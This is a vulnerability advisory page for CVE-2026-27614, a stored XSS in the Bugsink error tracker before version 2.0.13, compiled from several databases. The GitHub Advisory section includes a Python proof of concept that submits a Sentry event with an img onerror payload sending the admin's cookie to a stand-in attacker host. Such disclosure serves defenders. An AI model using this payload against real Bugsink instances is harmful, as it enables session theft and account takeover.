CVE-2026-27614
JSON

9.3critical

Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

Severity
9.3critical CVSS:3.1 by GitHub_M
Exploit likelihood
0.34% (higher than 29% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-vp6q-7m36-pq3wPYSEC-2026-301

Description

Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.13, an unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. Successful exploitation requires that the attacker to be able to submit events to the project (i.e. knows the DSN or can access a client that uses it), the Bugsink ingest endpoint is reachable to the attacker, and an administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink. Version 2.0.13 fixes the vulnerability.

Affected

Product or packageVersionsReported by
bugsink bugsink< 2.0.13, before 2.0.13CVE List, NVD
bugsink (PyPI)before 2.0.13GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M9.3critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
GitHub9.3critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
NVD6.1medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
PyPA Advisory Database9.3critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Classification

CWE-79

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.13, an unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. Successful exploitation requires that the attacker to be able to submit events to the project (i.e. knows the DSN or can access a client that uses it), the Bugsink ingest endpoint is reachable to the attacker, and an administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink. Version 2.0.13 fixes the vulnerability.

GitHub Advisory Database
Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), _pygmentize_lines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. mark_safe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
    return lines  # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

"Pygments line count mismatch, falling back to unformatted code"

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.

PoC

Send a Sentry event to /api/<project-id>/store/ with a valid DSN:

import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

  • The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
  • The Bugsink ingest endpoint is reachable to the attacker.
  • An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

NVD (es)

Bugsink es una herramienta de seguimiento de errores autoalojada. En versiones anteriores a la 2.0.13, un atacante no autenticado que puede enviar eventos a un proyecto de Bugsink puede almacenar JavaScript arbitrario en un evento. La carga útil se ejecuta solo si un usuario ve explícitamente el Stacktrace afectado en la interfaz de usuario web. Cuando Pygments devuelve más líneas de las que se le dieron (una peculiaridad conocida de la fuente que se activa con entrada de estilo heredoc de Ruby), '_pygmentize_lines()' en 'theme/templatetags/issues.py:75-77' recurre a devolver las líneas de entrada sin procesar. 'mark_safe()' en las líneas 111-113 se aplica entonces incondicionalmente, incluso a esas líneas sin procesar no saneadas. Dado que los endpoints DSN son públicos según el protocolo Sentry, no se necesita una cuenta para inyectar. La carga útil permanece en la base de datos hasta que un administrador mira el evento. Para explotarlo con éxito es preciso que el atacante pueda enviar eventos al proyecto (es decir, conozca el DSN o pueda acceder a un cliente que lo use), que el punto final de ingesta de Bugsink sea accesible para el atacante, y que un administrador vea explícitamente el evento manipulado en la interfaz de usuario. Bajo esas condiciones, el atacante puede ejecutar JavaScript en el navegador del administrador y actuar con los privilegios de ese usuario dentro de Bugsink. La versión 2.0.13 corrige la vulnerabilidad.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-27614 changed 2026-02-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-vp6q-7m36-pq3w changed 2026-10-27CC-BY-4.0
NVDCVE-2026-27614 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-301 changed 2026-07-13CC-BY-4.0